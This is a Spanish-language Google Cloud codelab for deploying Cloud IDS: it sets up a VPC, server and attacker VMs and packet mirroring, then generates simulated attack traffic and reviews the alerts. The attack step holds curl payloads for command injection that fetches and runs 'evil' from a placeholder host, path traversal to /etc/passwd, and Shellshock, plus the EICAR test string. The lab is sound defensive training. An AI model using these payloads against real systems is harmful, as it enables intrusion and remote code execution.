IDS de Cloud

1. Introducción

En este lab, implementarás IDS de Cloud, un servicio avanzado de detección de intrusiones de nueva generación que proporciona detección de amenazas de intrusiones, software malicioso, software espía y ataques de comando y control. Deberás simular varios ataques y verás los detalles de la amenaza en la consola de Cloud.

Qué aprenderás

  • Cómo crear un extremo de IDS de Cloud
  • Cómo crear 2 máquinas virtuales con comandos de gcloud
  • Cómo crear una política de duplicación de paquetes
  • Cómo simular el tráfico de ataque desde una máquina virtual
  • Cómo visualizar detalles de amenazas en la consola de Cloud y Cloud Logging

Requisitos

  • Conocimientos sobre comandos básicos de Linux

2. Casos de uso de IDS de Cloud

IDS de Cloud proporciona un servicio de detección de intrusiones (IDS) de nueva generación nativo de Google Cloud para que los clientes cumplan con sus requisitos avanzados de detección de amenazas y cumplimiento, como PCI 11.4. El servicio cuenta con la tecnología de protección contra amenazas de Palo Alto Networks para proporcionar una detección avanzada de intrusiones. La combinación de la infraestructura de primer nivel de Google Cloud con la seguridad de primer nivel de Palo Alto Networks proporciona a los clientes una combinación inigualable de un servicio de detección avanzada de amenazas completamente administrado, de alto rendimiento y con la mayor eficacia en seguridad.

A medida que los clientes migran a la nube, la seguridad es su prioridad. Quieren contar con controles de seguridad similares a los de sus instalaciones, como el servicio de detección de intrusiones (IDS) en la nube. Prefieren firmemente utilizar una solución de IDS administrada nativa de la nube para facilitar la implementación, alto rendimiento y costos optimizados, en comparación con la implementación de una solución de seguridad de terceros y la administración de la infraestructura o sus propias firmas. IDS de Google Cloud proporciona un servicio de IDS administrado de extremo a extremo y con ajuste de escala automático, lo que permite que los clientes dediquen su tiempo a analizar y mitigar amenazas, y libera tiempo y recursos para administrar la infraestructura o las firmas de amenazas.

IDS de Cloud se implementa fuera de banda y puede detectar amenazas y generar alertas sobre ellas, pero no puede bloquearlas. Esta herramienta aprovecha la duplicación de paquetes de Google Cloud para realizar una copia del tráfico de red que se analiza con el motor de detección de amenazas de Palo Alto Network.

3. Topología de codelabs

5a276f399e1d31e2.png

Figura 1: Descripción general de la arquitectura de alto nivel de la implementación de IDS de Cloud para este lab.

4. Configuración y requisitos

Configuración del entorno de autoaprendizaje

  1. Accede a Google Cloud Console y crea un proyecto nuevo o reutiliza uno existente. Si aún no tienes una cuenta de Gmail o de Google Workspace, debes crear una.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • El Nombre del proyecto es el nombre visible de los participantes de este proyecto. Es una string de caracteres que no se utiliza en las API de Google y se puede actualizar en cualquier momento.
  • El ID del proyecto debe ser único en todos los proyectos de Google Cloud y es inmutable (no se puede cambiar después de configurarlo). Cloud Console genera automáticamente una string única, que, por lo general, no importa cuál sea. En la mayoría de los codelabs, debes hacer referencia al ID del proyecto (suele ser PROJECT_ID). Por lo tanto, si no te gusta, genera otro aleatorio o prueba con uno propio y comprueba si está disponible. Después de crear el proyecto, este ID se “congela” y no se puede cambiar.
  • Además, hay un tercer valor, el Número de proyecto, que usan algunas API. Obtén más información sobre estos tres valores en la documentación.
  1. A continuación, deberás habilitar la facturación en Cloud Console para usar las API o los recursos de Cloud. Ejecutar este codelab no debería costar mucho, tal vez nada. Si quieres cerrar los recursos para no se te facture más allá de este instructivo, sigue las instrucciones de “limpieza” que se encuentran al final del codelab. Los usuarios nuevos de Google Cloud son aptos para participar en el programa Prueba gratuita de USD 300.

Inicia Cloud Shell

Si bien Google Cloud y Spanner se pueden operar de manera remota desde tu laptop, en este codelab usarás Google Cloud Shell, un entorno de línea de comandos que se ejecuta en la nube.

En GCP Console, haga clic en el ícono de Cloud Shell en la barra de herramientas superior derecha:

bce75f34b2c53987.png

El aprovisionamiento y la conexión al entorno deberían tomar solo unos minutos. Cuando termine el proceso, debería ver algo como lo siguiente:

f6ef2b5f13479f3a.png

Esta máquina virtual está cargada con todas las herramientas de desarrollo que necesitarás. Ofrece un directorio principal persistente de 5 GB y se ejecuta en Google Cloud, lo que permite mejorar considerablemente el rendimiento de la red y la autenticación. Puedes realizar todo tu trabajo en este lab usando simplemente un navegador.

5. Antes de comenzar

Habilita las APIs

En Cloud Shell, asegúrate de que el ID del proyecto esté configurado

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Habilita todos los servicios necesarios

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. Crear red de VPC

Red de VPC

Desde Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Subred

Desde Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Acceso privado a servicios

Desde Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Private Service Connection

Desde Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Reglas de firewall

Para permitir que IAP se conecte a tus instancias de VM, crea una regla de firewall que haga lo siguiente:

  • Se aplica a todas las instancias de VM a las que deseas que se pueda acceder mediante IAP.
  • Permite el tráfico de entrada del rango de IP 35.235.240.0/20. Este rango contiene todas las direcciones IP que IAP usa para el reenvío de TCP.

Desde Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Para permitir el puerto HTTP estándar (TCP 80) y el protocolo ICMP en el servidor, haz lo siguiente:

  • Se aplica a los recursos con la etiqueta de red “server”
  • Permite la entrada desde todas las fuentes

Desde Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Crea una instancia de Cloud NAT

Cloud Router

Desde Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Desde Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Crea un extremo de IDS de Cloud

En esta sección, crearás un extremo del IDS de Cloud en us-east1, con una gravedad establecida en informativa. La creación del extremo de IDS tarda alrededor de 20 minutos.

Extremo de IDS

Desde Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Verifica que se haya iniciado el extremo de IDS de Cloud

gcloud ids endpoints list --project=$PROJECT_ID

Resultado:

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Cree 2 máquinas virtuales

En esta sección, crearás 2 máquinas virtuales. El primero será tu servidor web, que se duplicará en el IDS de Cloud. La segunda será tu fuente de tráfico de ataque.

Máquina virtual 1 (servidor)

Desde Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Máquina virtual 2 (cliente)

Desde Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Preparando el servidor

En esta tarea, validarás tu servidor y proporcionarás una carga útil de software malicioso benigno a tu cliente.

Establece una conexión SSH a la VM a través de Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Confirma que el servicio web se esté ejecutando

sudo systemctl status nginx

Resultado: Verifica que el elemento esté activo y en ejecución

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Cambia el directorio al servicio web

cd /var/www/html/

Crear un archivo de software malicioso benigno en el servidor web

sudo touch eicar.file

Pegar el contenido

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Volver a Cloud Shell

exit

Crea una política de duplicación de paquetes del IDS de Cloud

Identifica la regla de reenvío del extremo de IDS y confirma que su estado sea “READY”.

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Resultado de ejemplo: Copia el valor de “endpointForwardRule”.

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Guarda la regla de reenvío del extremo de IDS en una variable.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Política de Duplicación de paquetes

Desde Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Verifica que se haya creado la política de duplicación de paquetes

Desde Cloud Shell

gcloud compute packet-mirrorings list

Salida

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Simula el tráfico de ataque

Establecer una conexión SSH a la máquina virtual del atacante (cliente)

Desde Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Ejecuta las siguientes solicitudes curl para simular tráfico malicioso.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Sal de la VM para volver a Cloud Shell

exit

11. Revisa las amenazas que detectó IDS de Cloud

Navega al panel de IDS de Cloud

Menú de navegación > Seguridad de red > IDS de Cloud

37583419aa604aa8.png

Navega a la pestaña Amenazas.

b7d934f409b4e2b.png

Como puedes ver, el IDS de Cloud capturó varios perfiles de tráfico de ataque y proporcionó los detalles de cada amenaza. Es posible que debas hacer clic en el botón “Actualizar” si no ves ninguna amenaza. Ahora, profundizaremos un poco más y veremos los detalles de las amenazas.

Ubica la “Vulnerabilidad de ejecución de código remoto de Bash”. haz clic en los tres puntos de la derecha y selecciona “Ver detalles de la amenaza”

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Ahora, veremos los detalles de este incidente en Cloud Logging. Para volver a la página Amenazas, haz clic en la flecha que apunta a la izquierda .

Haz clic en los tres puntos de la derecha y selecciona "Ver registros de amenazas"

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Se proporcionan los mismos detalles a Cloud Logging. Esto te permite enviar los registros a Cloud Storage, Chronicle o cualquier SIEM/SOAR. También puedes crear flujos de trabajo personalizados para tomar medidas de corrección basadas en alertas, p.ej., crear una Cloud Function que se active con una alerta y crear o actualizar una regla de firewall para bloquear la dirección IP, o bien crear o actualizar una política de Cloud Armor.

12. Pasos de limpieza

Salir de la instancia de VM (todas las pestañas)

exit

Borra los componentes del lab desde una sola terminal de Cloud Shell

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. ¡Felicitaciones!

Felicitaciones por completar el codelab.

Temas abordados

  • Casos de uso de IDS de Cloud
  • Requisitos de red
  • API admitidas
  • Creaste un extremo de IDS de Cloud.
  • Se implementaron 2 VMs
  • Se generó algún “ataque” tráfico del cliente
  • IDS detectó amenazas verificadas
  • Revisa los detalles y registros de las amenazas